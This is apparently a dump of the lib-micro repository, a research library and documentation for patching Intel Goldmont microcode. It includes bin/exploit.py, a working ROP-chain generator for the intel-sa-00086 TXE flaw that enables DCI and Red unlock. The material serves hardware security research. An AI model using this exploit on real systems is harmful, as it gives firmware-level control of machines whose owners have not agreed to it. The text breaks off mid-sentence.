├── .gitignore ├── Makefile ├── README.md ├── bin ├── UP_Square_Coreboot+DCI+TXE_Downgraded+Exploit+HAP.bin └── exploit.py ├── docs ├── doxygen │ ├── .gitignore │ └── Doxyfile └── sphinx │ ├── .gitignore │ ├── Makefile │ └── source │ ├── about.rst │ ├── api.rst │ ├── assembly.rst │ ├── conf.py │ ├── index.rst │ ├── microcode_memory.rst │ └── structure.rst ├── include ├── dump.h ├── gen_inst.py ├── ldat.h ├── misc.h ├── opcode.h ├── patch.h ├── seqword.h ├── ucode │ ├── cpuid.h │ ├── ldat_read.h │ ├── match_and_patch_hook.h │ └── match_and_patch_init.h ├── ucode_macro.h └── udbg.h ├── requirements.txt ├── source ├── dump.c ├── ldat.c └── patch.c └── tools ├── Makefile ├── backdoor ├── .gitignore ├── Makefile ├── backdoor.c ├── calc.bmp ├── exploit.bmp ├── genimg.py ├── img.s └── ucode │ └── syscall.h ├── dump ├── .gitignore ├── Makefile └── dump.c └── main ├── .gitignore ├── Makefile ├── main.c └── ucode ├── backtrace0.h ├── backtrace1.h ├── backtrace2.h ├── hlt.h └── trace.h /.gitignore: -------------------------------------------------------------------------------- 1 | compile_commands.json 2 | inst.h 3 | .ccls-cache/ 4 | .gdb_history 5 | .cache/ 6 | build/ 7 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | CFLAGS = -O0 -fPIE -Wno-unused-function -Wmissing-field-initializers -Wno-unused-variable -ggdb -Wall -masm=intel -I include/ 3 | TARGET_LIB_SHARED = build/libmicro.so 4 | TARGET_LIB_STATIC = build/libmicro.a 5 | 6 | SHARED_LDFLAGS = -Wl,-whole-archive $(TARGET_LIB_STATIC) -Wl,-no-whole-archive -shared 7 | 8 | BUILD_DIR = $(CURDIR)/build 9 | INCLUDE_DIR = $(CURDIR)/include 10 | 11 | SOURCES = $(wildcard source/*.c) 12 | OBJECTS = $(patsubst source/%.c, build/%.o, $(SOURCES)) 13 | HEADERS = $(wildcard include/*.h) $(wildcard include/ucode/*.h) 14 | 15 | #export all variables 16 | export 17 | 18 | include/inst.h: include/gen_inst.py 19 | ./include/gen_inst.py > include/inst.h 20 | 21 | $(SOURCES): include/inst.h build 22 | 23 | build: 24 | mkdir build 25 | 26 | $(OBJECTS): build/%.o: source/%.c $(HEADERS) 27 | $(CC) $(CFLAGS) -c $< -o $@ 28 | 29 | ${TARGET_LIB_STATIC}: $(OBJECTS) 30 | ar rcs $@ $(OBJECTS) 31 | 32 | $(TARGET_LIB_SHARED): ${TARGET_LIB_STATIC} 33 | $(CC) $(CFLAGS) ${SHARED_LDFLAGS} -o $@ $^ 34 | 35 | static: ${TARGET_LIB_STATIC} 36 | dynamic: ${TARGET_LIB_SHARED} 37 | 38 | DIRECTORIES = $(wildcard tools/*/) 39 | 40 | clean: 41 | $(eval EXEC_FILES := $(shell find tools -type f -perm /u=x,g=x,o=x -exec ls {} \; | xargs)) 42 | rm -rf build include/inst.h $(EXEC_FILES) docs/doxygen/build docs/sphinx/build/ 43 | 44 | tools: $(TARGET_LIB_SHARED) 45 | make -C tools all 46 | 47 | all: tools 48 | $(eval EXEC_FILES := $(shell find tools -type f -perm /u=x,g=x,o=x -exec ls {} \; | xargs)) 49 | cp $(EXEC_FILES) ./build 50 | 51 | upload: all 52 | $(eval EXEC_FILES := $(shell find build -type f -perm /u=x,g=x,o=x -exec ls {} \; | xargs)) 53 | scp $(EXEC_FILES) $(USER)@up:~ 54 | 55 | 56 | DOCS_RST = $(wildcard docs/sphinx/source/*.rst) 57 | docs: $(DOCS_RST) $(SOURCES) docs/sphinx/source/conf.py 58 | make -C docs/sphinx html 59 | 60 | host-docs: docs 61 | sphinx-autobuild docs/sphinx/source/ docs/sphinx/build/html 62 | 63 | remote: 64 | rsync -avzh ./* $(USER)@up:~/lib-micro/ 65 | ssh $(USER)@up "make -C lib-micro all" 66 | 67 | .PHONY: all clean static dynamic tools upload docs host-docs remote 68 | .DEFAULT_GOAL := upload 69 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Building 2 | 3 | Clone with `git clone --recurse-submodules -j8 https://github.com/zanderdk/lib-micro` and build with `make build` 4 | -------------------------------------------------------------------------------- /bin/UP_Square_Coreboot+DCI+TXE_Downgraded+Exploit+HAP.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zanderdk/lib-micro/f3a3a8d59961ae563fb7b9769cd82cde170c989c/bin/UP_Square_Coreboot+DCI+TXE_Downgraded+Exploit+HAP.bin -------------------------------------------------------------------------------- /bin/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | from pwnlib.util.packing import u8, u16, u32, u64, p8, p16, p32, p64 5 | import argparse 6 | 7 | context.clear(arch="x86", bits=32, os="linux") #actually minx 3 8 | 9 | # meh: 10 | def gen_config(): 11 | config = b'' 12 | config += p8(0x0)*6 # padding 13 | config += p16(0x1) # entries only one as second is not needed 14 | 15 | # entry 1: 16 | config += p32(0xe0 | (0x2 << 24)) # offset + seg 17 | config += p32(0x5f000000) # value 18 | 19 | # entry 2: not needed already 0x888888 there 20 | # config += p32(0x10 | (0x2 << 24)) # offset + seg 21 | # config += p32(0x00000888) # value 22 | return config 23 | 24 | # for sure: 25 | STACK_BASE = 0x00056000 26 | BUFFER_OFFSET = 0x380 27 | RET_ADDR_OFFSET = 0x338 28 | SYS_TRACER_CTX_OFFSET = 0x200 29 | 30 | BUP_FILE_LEN = 0x328 31 | 32 | SYSLIB_CTX_OFFSET = 0x10 33 | SYS_TRACER_CTX_REQ_OFFSET = 0x55c58 34 | 35 | pop_esp_ret = 0x00016e1a 36 | 37 | # 0x0001a7f5: mov dword ptr [eax], edx; xor eax, eax; pop ebp; ret; 38 | 39 | pop6 = 0x0000B578 40 | # 0x0000B578: pop edx; pop ecx; pop ebx; pop esi; pop edi; pop ebp; ret; 41 | 42 | def write_rop(where: int, what: int): 43 | rop = b'' 44 | 45 | rop += p32(pop6) # Pop 6 arguments 46 | 47 | rop += p32(where) # edx 48 | rop += p32(what) # ecx 49 | rop += p32(0x00000000)*4 # ebx, esi, edi, ebp 50 | rop += p32(0x00009dcc) # mov [edx], ecx + pop 3 arguments (Restores SYSLIB Context address) 51 | rop += p32(0x00000000)*3 #don't care 52 | return rop 53 | 54 | def gen_rop_dci_enable(): 55 | rop = b'' 56 | # activating DfX-agg 57 | rop += p32(0x0004a76c) # side-band mapping 58 | rop += p32(0x0004a877) # pop 2 arguments 59 | rop += p32(0x00070684) # param 2 60 | rop += p32(0x00000100) # param 1 61 | 62 | # setting personality 63 | rop += p32(0x000011BE) # put_sel_word 64 | rop += p32(0x0004a876) # pop 3 arguments 65 | rop += p32(0x0000019f) # param 3 66 | rop += p32(0x00008400) # param 2 67 | rop += p32(0x00000003) # param 1 68 | 69 | # rop = p32(0x35022) * (len(rop)//4) # ret slide 70 | 71 | # rop += p32(0x0003d2b9) # inf 72 | return rop 73 | 74 | def gen_exit_strat(): 75 | rop = b'' 76 | 77 | rop += p32(0x000011BE) # put_sel_word 78 | rop += p32(0x0004a876) # pop 3 arguments 79 | rop += p32(0x000000BF) # param 3 80 | rop += p32(0x000000E0) # param 2 81 | rop += p32(0x00000004 | 0x1000000) # param 1 82 | 83 | # rop += p32(0x000011BE) # put_sel_word 84 | # rop += p32(0x0004a876) # pop 3 arguments 85 | # rop += p32(0x000000BF) # param 3 86 | # rop += p32(0x00000010) # param 2 87 | # rop += p32(0x88888888) # param 1 88 | 89 | rop += write_rop(0x00055ff0, 0x00099010) 90 | rop += write_rop(0x00055fbc, 0x00000000) 91 | rop += write_rop(0x00055fb8, 0x00035674) 92 | rop += write_rop(0x00055ff4, 0x00000000) 93 | 94 | # rop += write_rop(0x00050008, 0x00049973) 95 | 96 | # v8 = 0x55fbc = ebp-0x10 = esp + 0x0, [v8] = 0x14 97 | # all regs: edx... eip doh 98 | #to restore esi = 1, esp = 0x55fbc, ebp = 0x55fac 99 | #not restore = eax, ebx, ecx 100 | 101 | rop += p32(pop6) 102 | 103 | rop += p32(0x1) #edx prob not needed 104 | rop += p32(0x0) #ecx 105 | rop += p32(0x0) #ebx 106 | rop += p32(0x1) #esi 107 | rop += p32(0x50004) #edi 108 | rop += p32(0x55fc0+0xc) #ebp 109 | 110 | rop += p32(pop_esp_ret) 111 | rop += p32(0x55fb8) 112 | 113 | return rop 114 | 115 | def gen_rop(): 116 | syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET 117 | 118 | rop = gen_config() 119 | init_trace_len = len(rop) 120 | rop += gen_rop_dci_enable() 121 | rop += gen_exit_strat() 122 | # 1st stage stack pivot ^ 123 | 124 | rop = rop.ljust(RET_ADDR_OFFSET, p8(0x0)) 125 | print(f"len rop: {hex(len(rop))}") 126 | rop += p32(pop_esp_ret) 127 | rop += p32(STACK_BASE - BUFFER_OFFSET + init_trace_len) 128 | print(f"len rop to context: {hex(len(rop))}") 129 | # stack pivot ^ 130 | 131 | rop_tail = b'' 132 | 133 | rop_tail += p32(0x0096c64) #ebx/ end restore main regs 134 | rop_tail += p32(0x0000000) 135 | rop_tail += p32(0x0000000) 136 | rop_tail += p32(0x0055fd8) #main ebp 137 | rop_tail += p32(0x0035015) #ret bup_init_run_script 138 | rop_tail += p32(0x0000000) 139 | rop_tail += p32(0x0000000) 140 | 141 | rop_tail += p32(0x00260a1) # entry return addr 142 | 143 | rop_tail += p32(0x0000000) 144 | rop_tail += p32(0x0055ff0) 145 | rop_tail += p32(0x0055ff4) 146 | rop_tail += p32(0x0) 147 | rop_tail += p32(syslib_ctx_start) 148 | rop_tail += p32(0x0) #errno 149 | rop_tail += p32(0x03000300) 150 | rop_tail += p32(STACK_BASE-4) 151 | 152 | rop = rop.ljust(BUFFER_OFFSET - len(rop_tail), p8(0x0)) 153 | 154 | print(f"rop before tail: {hex(len(rop))}") 155 | rop += rop_tail 156 | 157 | print(f"final rop len: {hex(len(rop))}") 158 | 159 | return rop 160 | 161 | def ParseArguments(): 162 | parser = argparse.ArgumentParser(description="hello") 163 | parser.add_argument('-f', metavar='', help='file name', type=str, default="ct.bin") 164 | return parser.parse_args().f 165 | 166 | def main(): 167 | file_name = ParseArguments() 168 | rop = gen_rop() 169 | print("[*] Saving to %s..." % (file_name)) 170 | with open(file_name, "wb") as f: 171 | f.write(rop) 172 | 173 | if __name__=="__main__": 174 | main() 175 | 176 | # 01cf:0000000000055fb0: 00000000 00055fcc 0003565c 00000014 177 | # 01cf:0000000000055fc0: 00096c64 00000000 00000000 00055fd8 178 | # 01cf:0000000000055fd0: 00035015 00000000 00000000 000260a1 179 | # 01cf:0000000000055fe0: 00000000 00055ff0 00055ff4 00000000 180 | # 01cf:0000000000055ff0: 00099010 00000005 03000300 00055ffc 181 | -------------------------------------------------------------------------------- /docs/doxygen/.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | -------------------------------------------------------------------------------- /docs/sphinx/.gitignore: -------------------------------------------------------------------------------- 1 | build 2 | -------------------------------------------------------------------------------- /docs/sphinx/Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line, and also 5 | # from the environment for the first two. 6 | SPHINXOPTS ?= 7 | SPHINXBUILD ?= sphinx-build 8 | SOURCEDIR = source 9 | BUILDDIR = build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 21 | -------------------------------------------------------------------------------- /docs/sphinx/source/about.rst: -------------------------------------------------------------------------------- 1 | About Lib-Micro 2 | ================================= 3 | 4 | Lib-Micro is a library that allows you to make apply change to `microcode `_ from a Linux executable ELF binary. 5 | This library provides a EBPF inspired C styled macro language to chain micro operation and applying patches to the individual CPU cores. 6 | This allow users to change, modify and add functionality to the x86 instruction set. 7 | 8 | This library utilizes two 9 | `undocumented instructions `_ 10 | to do various operations on the micro architectural level such as reading and writing to the microcode rom and ram as well as control register bus etc. 11 | 12 | These instructions called ``udbgrd`` and ``udbgwr`` are read and write instructions for Intel engineers to inspect and test changes at lowest level. These instructions requires a Red/Intel unlocked CPU which is currently only achievable on the Goldmount series. We provide a SPI flash `image `_ with Coreboot and a exploit for `intel-sa-00086 `_ providing Red unlock. 13 | -------------------------------------------------------------------------------- /docs/sphinx/source/api.rst: -------------------------------------------------------------------------------- 1 | The lib-micro C API Reference 2 | ================================= 3 | 4 | C Structs 5 | ----------- 6 | 7 | .. doxygenstruct:: u_result_t 8 | :members: 9 | 10 | C Functions 11 | ------------- 12 | .. doxygenfile:: include/ldat.h 13 | 14 | uCode macros 15 | ------------ 16 | .. doxygengroup:: UJMP 17 | .. doxygengroup:: MOVE 18 | .. doxygengroup:: ZEROEXT 19 | .. doxygengroup:: MOVETOCREG 20 | .. doxygengroup:: MOVEFROMCREG 21 | .. doxygengroup:: WRITEURAM 22 | .. doxygengroup:: READURAM 23 | .. doxygengroup:: MSR2CR 24 | .. doxygengroup:: WRMSLOOPCTRFBR 25 | .. doxygengroup:: GENARITHFLAGS 26 | .. doxygengroup:: SIGEVENT 27 | .. doxygengroup:: READAFLAGS 28 | .. doxygengroup:: FPREADROM_DTYPENOP 29 | .. doxygengroup:: ADD 30 | .. doxygengroup:: OR 31 | .. doxygengroup:: AND 32 | .. doxygengroup:: SUB 33 | .. doxygengroup:: SUBR 34 | .. doxygengroup:: XOR 35 | .. doxygengroup:: NOTAND 36 | .. doxygengroup:: ROL 37 | .. doxygengroup:: ROR 38 | .. doxygengroup:: RAS 39 | .. doxygengroup:: SHL 40 | .. doxygengroup:: SHR 41 | .. doxygengroup:: CONCAT 42 | .. doxygengroup:: MOVEINSERTFLGS 43 | .. doxygengroup:: MOVEMERGEFLGS 44 | .. doxygengroup:: UJMPCC_DIRECT_NOTTAKEN 45 | .. doxygengroup:: MJMPCC_DSZNOP 46 | .. doxygengroup:: SETCC 47 | .. doxygengroup:: CMOVCC 48 | .. doxygengroup:: SELECTCC 49 | .. doxygengroup:: LDSTGBUF 50 | .. doxygengroup:: STADSTGBUF 51 | .. doxygengroup:: LDZX 52 | .. doxygengroup:: STAD 53 | .. doxygengroup:: SAVEUIP 54 | .. doxygengroup:: SAVEUIP_REGOVR 55 | .. doxygengroup:: READUIP_REGOVR 56 | .. doxygengroup:: URET 57 | .. doxygengroup:: UPDATEUSTATE 58 | .. doxygengroup:: TESTUSTATE 59 | .. doxygengroup:: UFLOWCTRL 60 | .. doxygengroup:: AETTRACE 61 | 62 | .. doxygenfunction:: uram_dump 63 | .. doxygenfunction:: ms_rw_code_dump 64 | -------------------------------------------------------------------------------- /docs/sphinx/source/assembly.rst: -------------------------------------------------------------------------------- 1 | Assembling Microcode 2 | ==================== 3 | 4 | This library contains functionality for assembling, patching, and running microcode. We provide a C macro language for assembling microcode in a similar fashion to the Linux EBPF language. Microcode has a lot of similarities with x86 macro instructions and simple macro instructions will yield a single micro operations. Infact only the most complex instruction will is sequenced using the ms rom. In the folling sections we describe how basic operations can be assembled an refer to API docs for more complicated instruction. 5 | 6 | 7 | Microcode Operations 8 | -------------------- 9 | 10 | As opposed to x86 all uops has a fixed length of 48 bits and are arranged in sets of three called a triad. Uops varies in amount of operands based on the opcode and the arguments and their types are encoded within the uop it self. Though out this section we will explain micro operations through examples written using the C macro language. For now we will not go into details about the structure and binray format of microcode but :ref:`here `, you we document our understanding of the microcode structure. 11 | 12 | 13 | Move instructions 14 | ^^^^^^^^^^^^^^^^^ 15 | In this example we demonstrate three diffrent variations of move the instructions ``MOVE_DSZ64_DI``, ``MOVE_DSZ32_DR`` and ``ZEROEXT_DSZ64_DI``. 16 | The following microcode will move the immediate value 0x1337 into the lower 32bits of the ``rax`` register also know as ``eax``. Next instruction is equivalent to ``mov ebx, eax`` and last we use ``ZEROEXT_DSZ64_DI`` for moving 0xcafe zero extended into ``rcx``. Last line is the sequence word and we use the short hand C macro ``END_SEQWORD`` for ending the macro instruction. 17 | 18 | 19 | .. code-block:: c 20 | :linenos: 21 | :caption: Example of move instructions 22 | 23 | ucode_t ucode_patch[] = { 24 | { 25 | MOVE_DSZ32_DI(RAX, 0x1337), 26 | MOVE_DSZ32_DR(RBX, RAX), 27 | ZEROEXT_DSZ64_DI(RCX, 0xcafe), 28 | END_SEQWORD 29 | } 30 | } 31 | 32 | We denote all uops with the opcode a underscore followed by the encoding scheme of the instruction, as shown in the example below. 33 | ``D`` means destination register, ``R`` a source register and ``I`` for immediate value. As microcode is fixed at 48bit per operation this puts a limit on the size of immediate value and it's only possible to encode 16bit values. 34 | -------------------------------------------------------------------------------- /docs/sphinx/source/conf.py: -------------------------------------------------------------------------------- 1 | # Configuration file for the Sphinx documentation builder. 2 | # 3 | # This file only contains a selection of the most common options. For a full 4 | # list see the documentation: 5 | # https://www.sphinx-doc.org/en/master/usage/configuration.html 6 | 7 | # -- Path setup -------------------------------------------------------------- 8 | 9 | # If extensions (or modules to document with autodoc) are in another directory, 10 | # add these directories to sys.path here. If the directory is relative to the 11 | # documentation root, use os.path.abspath to make it absolute, like shown here. 12 | # 13 | import os 14 | import sys 15 | from subprocess import call 16 | # sys.path.insert(0, os.path.abspath('.')) 17 | 18 | # -- Project information ----------------------------------------------------- 19 | 20 | project = 'lib-micro' 21 | copyright = 'thing goes here' 22 | author = 'Alex & Alex' 23 | 24 | # The full version, including alpha/beta/rc tags 25 | release = '1.0' 26 | 27 | 28 | # -- General configuration --------------------------------------------------- 29 | 30 | # Add any Sphinx extension module names here, as strings. They can be 31 | # extensions coming with Sphinx (named 'sphinx.ext.*') or your custom 32 | # ones. 33 | extensions = [ 34 | 'sphinx.ext.autodoc', 35 | 'sphinx.ext.doctest', 36 | 'sphinx.ext.mathjax', 37 | 'sphinx.ext.viewcode', 38 | 'sphinx.ext.imgmath', 39 | 'sphinx.ext.todo', 40 | 'sphinx_rtd_theme', 41 | 'sphinxcontrib.bitfield', 42 | 'breathe', 43 | ] 44 | 45 | # Add any paths that contain templates here, relative to this directory. 46 | templates_path = ['_templates'] 47 | 48 | # List of patterns, relative to source directory, that match files and 49 | # directories to ignore when looking for source files. 50 | # This pattern also affects html_static_path and html_extra_path. 51 | exclude_patterns = [] 52 | 53 | 54 | # -- Options for HTML output ------------------------------------------------- 55 | 56 | # The theme to use for HTML and HTML Help pages. See the documentation for 57 | # a list of builtin themes. 58 | # 59 | html_theme = 'sphinx_rtd_theme' # 'alabaster' 60 | 61 | # Add any paths that contain custom static files (such as style sheets) here, 62 | # relative to this directory. They are copied after the builtin static files, 63 | # so a file named "default.css" will overwrite the builtin "default.css". 64 | html_static_path = ['_static'] 65 | 66 | # -- Extension configuration ------------------------------------------------- 67 | call('make clean', shell=True) 68 | call('cd ../../doxygen ; doxygen', shell=True) 69 | 70 | breathe_projects = { "microlib": "../../doxygen/build/xml/" } 71 | breathe_default_project = "microlib" 72 | -------------------------------------------------------------------------------- /docs/sphinx/source/index.rst: -------------------------------------------------------------------------------- 1 | .. lib-micro documentation master file, created by 2 | sphinx-quickstart on Fri Mar 31 06:17:56 2023. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | Welcome to lib-micro's documentation! 7 | ===================================== 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :caption: Contents: 12 | 13 | about 14 | microcode_memory 15 | assembly 16 | structure 17 | api 18 | 19 | Indices and tables 20 | ================== 21 | 22 | * :ref:`genindex` 23 | * :ref:`search` 24 | -------------------------------------------------------------------------------- /docs/sphinx/source/microcode_memory.rst: -------------------------------------------------------------------------------- 1 | Microcode Memory Layout 2 | ================================= 3 | 4 | Microcode instructions are grouped into what we call triads, where each triad contains three microcode operations and with each triad is an associated sequence word. 5 | The microcode address space ranges from 0x0000 to 0x7E00 where each microcode instructions can be addressed individually and we will denote the address of a microcode instruction with a U postfixing a hex number. Though out this documentation we will use a couple abbreviations where the most common once are: 6 | 7 | * :abbr:`ucode (microcode)` we will often use u as µ and meaning micro. 8 | * :abbr:`uop (microcode opcode/instruction)` referes to a single microcode operation/instruction. 9 | * :abbr:`seqw (microcode sequence word)` is a microcode sequence word. 10 | * :abbr:`MS (microcode sequencer)` is the `microsequencer `_. 11 | * :abbr:`IP (intellectual property)` Cores are `intellectual property cores `_. 12 | * :abbr:`CRBUS (control register bus)` is the control register bus connecting and storing shared state between :abbr:`IP`'s. 13 | 14 | Microcode Address Space 15 | ----------------------- 16 | 17 | As stated above the address space ranges from U0000 to U7E00 exclusively, where U7C00 and above is writeable expect every third microcode which is a implicit nop instruction. Each triad has an associated sequence word controlling the execution flow of the triad. This means that sequence word dictate's at what address we should continue execution after the current triad as well as synchronization and memory barriers. Sequence word and the implicit nop cannot be addressed from microcode and thereby no valid U address exists for these constructs. 18 | 19 | .. list-table:: Microcode Addressing Table 20 | :widths: 10 10 10 10 10 10 21 | :header-rows: 1 22 | 23 | * - Uaddr 24 | - instruction 25 | - instruction 26 | - instruction 27 | - implicit nop 28 | - sequence word 29 | * - U0000 RO 30 | - uop 0 31 | - uop 1 32 | - uop 2 33 | - nop 34 | - seqw 0 35 | * - U0004 RO 36 | - uop 4 37 | - uop 5 38 | - uop 6 39 | - nop 40 | - seqw 1 41 | * - U0008 RO 42 | - uop 8 43 | - uop 9 44 | - uop A 45 | - nop 46 | - seqw 2 47 | * - U000C RO 48 | - uop C 49 | - uop D 50 | - uop E 51 | - nop 52 | - seqw 3 53 | * - U0010 RO 54 | - uop 10 55 | - uop 11 56 | - uop 12 57 | - nop 58 | - seqw 4 59 | * - ... 60 | - ... 61 | - ... 62 | - ... 63 | - ... 64 | - ... 65 | * - U7C00 RW 66 | - uop 7C00 67 | - uop 7C01 68 | - uop 7C02 69 | - nop 70 | - seqw 1f00 71 | * - U7C04 RW 72 | - uop 7C04 73 | - uop 7C05 74 | - uop 7C06 75 | - nop 76 | - seqw 1f01 77 | * - U7C08 RW 78 | - uop 7C08 79 | - uop 7C09 80 | - uop 7C0A 81 | - nop 82 | - seqw 1f02 83 | * - U7C0C RW 84 | - uop 7C0C 85 | - uop 7C0C 86 | - uop 7C0C 87 | - nop 88 | - seqw 1f03 89 | * - U7C10 RW 90 | - uop 7C10 91 | - uop 7C11 92 | - uop 7C12 93 | - nop 94 | - seqw 1f04 95 | * - ... 96 | - ... 97 | - ... 98 | - ... 99 | - ... 100 | - ... 101 | * - U7DFC RW 102 | - uop 7DFC 103 | - uop 7DFD 104 | - uop 7DFE 105 | - nop 106 | - seqw 1F7F 107 | 108 | Microcode Sequencer Arrays 109 | -------------------------- 110 | 111 | The microcode sequencer utilizes 5 arrays refereed to as ms_array 0 to 4 for storing data determining micro execution. The :abbr:`LDAT IP (Local Direct Access Test IP)` can access these arrays and though the CRBUS we can interact with the LDAT. The LDAT as well as ms_arrays are local to each CPU core and we firmly believe that the CRBUS is only for per CORE communication between units and :abbr:`IOSF (Intel On-Chip System Fabric)` is for more global communication. All ms_arrays can be read and some also writeable, altough when writing some arrays is rearranged upon the following read operations. 112 | 113 | ms_array 0 114 | ^^^^^^^^^^ 115 | 116 | ms_array 0 we primary use to dump the read only microcode range U0000 to U7C00 but going beyond seems to reflect changes in ms_array 4 described later. U7E00. Reading an address outside a triad E.g. U0003 will write back zero. 117 | 118 | 119 | ms_array 1 120 | ^^^^^^^^^^ 121 | 122 | ms_array 1 works like ms_array 0 but instead of uops this array stores sequence words. One difference is that only one unique value for each triad exists. This means that reading address 0 to 3 will yield the same sequence word, and next sequence word will be at address 4. 123 | 124 | 125 | ms_array 2 126 | ^^^^^^^^^^ 127 | 128 | ms_array 2 is writeable and stores sequence words for the writeable microcode address space. Unlike ms_array 1 this array only contains a single entry per triads. This array will therefor only contain 0x80 entries and each entry is maps to 4 in ms_array 1 and will each determine a sequence word for a triad in the range U7C00 to U7E00. 129 | 130 | ms_array 3 131 | ^^^^^^^^^^ 132 | 133 | This array controls match and patch and works very differently from the other and we have dedicated the next section for this array alone. 134 | 135 | ms_array 4 136 | ^^^^^^^^^^ 137 | 138 | ms_array 4 contains uops for the writeable address space 0x7C00 - 0x7E00. One should write linear to this array as if they were writing to ms_array 0 with a offset of 0x7C00. When reading this array we have observed a strange behavior we have no explanation for. The array will read back the uops in the first column of instructions in the table above as entries from 0x00 to 0x80. And 0x80 to 0x100 will all be sequential entries in the second column of the table above etc. 139 | 140 | Reading and Writing 141 | ------------------- 142 | 143 | In ldat.h we provide a set of function interacting with the LDAT which includes reading and writing to microsequencer arrays. 144 | When reading and writing to these array we recommend using the designated wrappers for reading specific arrays like :c:func:`ms_ro_code_read()` and :c:func:`ms_ro_code_write()`. If you to interact directly with the LDAT one can use the :c:func:`ldat_array_read()` and :c:func:`ldat_array_write()` but be carefull as multiple operations invloving the LDAT should be preformed atomic by implementing it directly in microcode. 145 | 146 | Match and Patch 147 | --------------- 148 | 149 | Match and patch is the mechanism used to put microcode updates into effect and stored in ms_array 3. ms_array 3 contains 32 entries each of witch can redirect any address in the read only address space to an address in writeable address space. Altough we haven't observed index 0 used by any intel provided microcode update it doesn't seam to have any special meaning, and every entry seems to follow the bitfiled pattern described below. 150 | 151 | .. bitfield:: 152 | :bits: 31 153 | :lanes: 1 154 | 155 | [ 156 | { "name": "p", "bits": 1, "type": 1 }, 157 | { "name": "src", "bits": 15, "type": 2 }, 158 | { "name": "dst", "bits": 15, "type": 3 } 159 | ] 160 | 161 | * p 162 | present flag which dictactes whether the entry is in use. 163 | 164 | * src 165 | 15-bit src. This field indicates which address to hook. It is calculated as :math:`\text{src}= \text{uaddr} / 2` 166 | 167 | * dst 168 | 15-bit dst. This field indicates which address to jump to. It is calculated as :math:`\text{dst}= \text{uaddr} / 2` 169 | 170 | Notice that ``src`` and ``dst`` have no way of encoding an odd U address. We have discovered that this is because every entry in ms_array 3 in fact creates two mappings. One mapping from :math:`\text{src} \Rightarrow \text{dst}` as well as one from :math:`(\text{src}+1) \Rightarrow (\text{dst}+1)`. This can have some consequences on the ability to patch certain addresses as other x86 macro instructions might use :math:`(\text{uaddr}+1)`. When tracing it also makes things harder as for certain cases it can be hard to determine which mapping was in fact causing the jump. 171 | 172 | x86 macro instructions seem to each have a fixed U address in the microcode ROM area as an entry point, which we will refer to as xlats. How this mapping from x86 opcodes to xlats is defined is still an open research question. We have included a list of interesting microcode addresses in `labels.txt `_ where most of the opcodes originates from this `list `_. but due to the discovery of two mappings per entry in match and patch, we have determined that previous ways of tracing has lead to inaccuracies in the list, and we suspect that the updated list still contains errors. 173 | -------------------------------------------------------------------------------- /docs/sphinx/source/structure.rst: -------------------------------------------------------------------------------- 1 | .. _structure: 2 | 3 | uCode structure 4 | ================================= 5 | 6 | Instruction 7 | ----------- 8 | 9 | .. bitfield:: 10 | :bits: 48 11 | :lanes: 2 12 | 13 | [ 14 | { "name": "src0", "bits": 6, "type": 7 }, 15 | { "name": "src1", "bits": 6, "type": 4 }, 16 | { "name": "dst/src2", "bits": 6, "type": 6 }, 17 | { "name": "imm1", "bits": 5, "type": 2 }, 18 | { "name": "m0", "bits": 1, "type": 5 }, 19 | { "name": "imm0", "bits": 8, "type": 2 }, 20 | { "name": "opcode", "bits": 12, "type": 3 }, 21 | { "name": "m1", "bits": 1, "type": 5 }, 22 | { "name": "m2", "bits": 1, "type": 5 }, 23 | { "name": "crc", "bits": 2, "type": 1 } 24 | ] 25 | 26 | * opcode 27 | | A 12-bit opcode value. For some uops, additional information is encoded in the opcode. 28 | | For example, in ``CMOVCC``, DSZ and condition are encoded as below: 29 | 30 | .. bitfield:: 31 | :bits: 12 32 | :lanes: 1 33 | 34 | [ 35 | { "name": "COND", "bits": 2, "type": 6 }, 36 | { "bits": 4 }, 37 | { "name": "DSZ", "bits": 2, "type": 3 }, 38 | { "name": "COND", "bits": 2, "type": 6 }, 39 | { "bits": 2 } 40 | ] 41 | 42 | * src0/src1 43 | | 6-bit fields that specify which register to get input from. 44 | | If the uppermost 3 bits equal 0b001, combine imm0, imm1, and src[0:2] to create a 16-bit immediate. 45 | | If the uppermost 3 bits equal 0b010, combine imm0 and imm1 as an index into constants ROM. 46 | * dst/src2 47 | | 6-bit field that specifies register to send the output of the operation to. 48 | | For some memory-related uops, used as a src register instead. 49 | * imm0/imm1 50 | | In most uops, used as a 16-bit immediate value in src as specified above. 51 | | In some uops, e.g. in memory operations, imm0 and imm1 are used as two separate immediates by the instruction. 52 | * m0/m1/m2 53 | | Several bits that change the mode of uops. 54 | | For most operations, m0 means that the immediate value should be interpreted as a macro immediate. 55 | | For TESTUSTATE/UPDATEUSTATE m0 is used to invert the operation. 56 | * crc 57 | 2-bit crc. The first bit is the xor of all even-indexed bits. The second bit is the xor of all odd-indexed bits. 58 | 59 | Sequence Word 60 | ------------- 61 | 62 | .. bitfield:: 63 | :bits: 30 64 | :lanes: 1 65 | 66 | [ 67 | { "name": "up0", "bits": 2, "type": 4 }, 68 | { "name": "eflow", "bits": 4, "type": 4 }, 69 | { "name": "up1", "bits": 2, "type": 2 }, 70 | { "name": "uaddr", "bits": 15, "type": 2 }, 71 | { "name": "up2", "bits": 2, "type": 7 }, 72 | { "name": "sync", "bits": 3, "type": 7 }, 73 | { "name": "crc", "bits": 2, "type": 1 } 74 | ] 75 | 76 | * up0/up1/up2 77 | 2-bit pointers to uop in triad to perform operation on. See 